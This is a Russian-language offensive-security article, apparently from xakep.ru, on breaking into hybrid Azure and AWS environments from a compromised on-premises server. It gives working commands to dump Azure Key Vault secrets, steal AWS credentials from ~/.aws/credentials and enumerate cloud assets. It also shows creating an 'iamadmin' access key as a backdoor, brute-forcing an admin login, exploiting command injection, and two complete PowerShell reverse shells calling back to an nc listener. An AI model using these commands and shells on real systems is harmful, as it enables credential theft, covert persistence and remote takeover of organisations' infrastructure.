Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Перенос IT-инфраструктуры в облака — это не дань моде: такой подход позволяет экономить на технической поддержке, резервном копировании и администрировании. К тому же размещение инфраструктуры в облаке считается более защищенным и от сбоев, и от внешних атак. Но есть и эффективные методы взлома наиболее популярных гибридно-облачных сред, таких как Azure и AWS. Об этих техниках и атаках я расскажу дальше.
Для наглядности давай представим пример атакуемой инфраструктуры в виде следующей диаграммы.
Пример гибридно-облачной инфраструктуры
Как видно из диаграммы, организация использует серверы и сервисы разных облачных провайдеров, а также имеет ряд серверов on-premises. Серверы и сервисы взаимодействуют между собой, так как это необходимо для полноценной работоспособности бизнеса. Предположим, что злоумышленник получил удаленный доступ к скомпрометированному серверу on-premises. Вот несколько возможных сценариев дальнейшего развития атаки.
Имея доступ к линукс-серверу on-premises, желательно оставаться незамеченным как можно дольше. С этой целью можно использовать сервисы, действия и запросы которых рассматриваются в системе как разрешенные. На такую роль как нельзя лучше подходят прикладные утилиты для удаленной работы с облачной инфраструктурой.
Также стоит обратить внимание на любые другие следы того, что сервер взаимодействует с облаками. К примеру, можно проанализировать command history, запущенные процессы, установленные пакеты и прочее.
Azure CLI — это набор команд для создания ресурсов Azure и управления ими. Azure CLI доступен в различных службах Azure и предназначен для быстрой работы с ними. Для входа в профиль Azure по умолчанию используется команда az login
.
Вход в профиль Azure с помощью команды az login
Как оказалось, в нашем случае линукс-сервер имеет доступ к инфраструктуре Azure. Какую полезную информацию из этого можно извлечь? Для начала с помощью команды az account list
получим перечень подписок авторизированного пользователя.
Получение перечня подписок
C помощью директивы az account show --query "id"
можно получить ID учетной записи. А команда
az resource list --query "[?type=='Microsoft.KeyVault/vaults']"
позволяет узнать данные о key vault.
Key Vault — это служба, которая помогает хранить ключи в аппаратных модулях безопасности (HSM), зашифровывая ключи и небольшие секретные данные, например пароли. Очевидно, что Key Vault должен быть правильно настроен, иначе может произойти нечто подобное тому, что показано на скриншоте ниже.
Вот почему важно правильно настроить Key Vault
А вот еще несколько команд, позволяющих выудить из Azure нужные взломщику сведения:
az resource show --id /subscriptions/… | grep -E enablePurgeProtection|enableSoftDelete
— проверить, можно ли восстановить Key Vault;az keyvault secret list --vault-name name --query [*].[{"name":attributes.name},{"enabled":attributes.enabled},{"expires":attributes.expires}]
—проверить, когда секретный ключ Key Vault истекает;az keyvault secret list --vault-name KeyVaultdatasecure --query '[].id'
— получить URL для Key Vault;az keyvault secret show --id
— получить данные, хранящиеся в Key Vault;az network nsg list --query [*].[name,securityRules]
— получить данные о политике безопасности для сети Azure.Результат работы команды az keyvault secret show --id
С помощью приведенных выше команд можно увидеть детали настроек политик безопасности для сети, к примеру название политики, группы, конфигурации. Обрати внимание на теги access
, destinationPortRange
, protocol
и direction
. Они показывают, что на сервере разрешены внешние подключения. Установка удаленного доступа к C&C значительно облегчает задачу атакующему и повышает шансы остаться незамеченным.
По ряду признаков можно определить, что на сервере разрешены подключения извне
AWS CLI — это единый инструмент для управления сервисами AWS. Загружаешь всего одно средство, и можешь контролировать множество сервисов AWS из командной строки и автоматизировать их с помощью скриптов.
Если утилита AWS установлена на скомпрометированной машине, можно проверить, сконфигурирован ли AWS-профиль. Конфигурационные данные к AWS на компьютерах под управлением Linux хранятся в файле ~/. aws/credentials
, а в Windows — в C:Users USERNAME . awscredentials
. Этот файл может содержать данные к учетной записи AWS (access key ID, secret access key и session token). Полученную таким образом учетную запить можно использовать для удаленного доступа в будущем.
Извлечение данных о конфигурации AWS CLI
С помощью следующих команд AWS CLI мы получим важную информацию о развернутой в сети облачной инфраструктуре:
aws sts get-caller-identity
— получить данные об используемой учетной записи;aws iam list-users
— перечислить всех IAM-пользователей;aws s3 ls
— перечислить все доступные AWS S3;aws lambda list --functions
— перечислить все lambda-функции;aws lambda get-function --function-name [function_name]
— собрать дополнительную информацию по lambda-переменным, локации и так далее;aws ec2 describe-instances
— перечислить все доступные виртуальные машины;aws deploy list-applications
— перечисть все доступные веб-сервисы;aws rds describe-db-instances
— показать все доступные RDS-базы данных.С помощью одной команды мы можем получить данные о доступных RDS-базах
Существуют и другие методы сбора информации на скомпрометированной системе. К примеру, можно воспользоваться командой history
и посмотреть, какие команды выполнялись за последнее время на этой машине.
Чтобы закрепиться в системе, можно создать учетную запись с секретными ключами и именем iamadmin
, которая будет выполнять функцию бэкдора для атакующего. Для этого воспользуемся командой
aws iam create-access-key --user-name iamadmin
Создаем учетную запись для закрепления в системе
С помощью команд SSH можно подключиться к удаленному AWS bucket.
Подключение к AWS bucket с использованием SSH
Получается, что боковыми движениями мы заполучили доступ к инфраструктуре AWS. При эксплуатации SSH желательно всегда проверять следующие директории и файлы:
.ssh/authorized_keys
— содержит подпись публичных ключей для любых авторизованных клиентов;.ssh/id_rsa
— содержит приватные ключи для клиентов;.ssh/id_rsa.pub
— содержит публичные ключи для клиента;.ssh/known_hosts
— содержит список подписей хостов.
Итак, нам удалось найти данные для учетных записей и собрать достаточно информации, чтобы понять, что в инфраструктуре Azure присутствует несколько виртуальных машин и сервисов. Виртуальные машины в Azure очень похожи на обычные машины, которые работают в виртуальной среде, и потому поддерживают стандартный набор команд. Запустим Nmap на одной из виртуальных машин AWS.
nmap -sS -sV -v -Pn -p- <IP-адрес >
Запускаем Nmap на виртуальной машине
Видно, что на удаленной виртуальной машине работает Apache на 80-м порте. Как правило, настройки доступа в среде Azure устанавливаются с помощью правил Azure network group. Так что нужно быть внимательным и не забывать менять тестовые настройки. Как оказалось, мы имеем дело с веб-приложением для тестирования статуса машин в облаке. Не буду углубляться в подробности тестирования веб-приложения, а просто приведу пример, как уязвимость в веб-приложении может предоставить доступ к удаленной виртуальной машине в Azure.
Для перебора учетных данных использовался DirBuster, который привел меня на страницу с формой логина администратора. Выяснилось, что приложение уязвимо к перечислению пользователей и брутфорсу пароля. Сбрутить пароль можно с использованием Burp Suite.
Форма логина администратора веб-приложения
Приложение оказалось уязвимым к запуску команды на удаленном компьютере.
Запуск команды на удаленном компьютере
Видно, что это машина под управлением Windows, на которой можно попробовать взять шелл. Для начала нужно запустить слушателя на машине атакующего. В качестве примера будет использован netcat: выполним команду nc -lvp 9090
, которая запускает слушателя на порте 9090 и переводит его в режим ожидания удаленного TCP-соединения.
Можно использовать приведенный ниже PowerShell reverse shell либо загрузить на машину свой собственный шелл, так как этот может быть обнаружен антивирусами и EDP-системами. Вот два примера шелла PowerShell, которые можно использовать на удаленной машине.
Первый шелл
powershell 127.0.0.1&powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('IP,9090);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Второй шелл
$client = New-Object System.Net.Sockets.TCPClient("IP",9090);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Как только мы получим шелл, можно приступить к постэксплуатации и дальнейшим горизонтальным перемещениям.
Источник: xakep.ru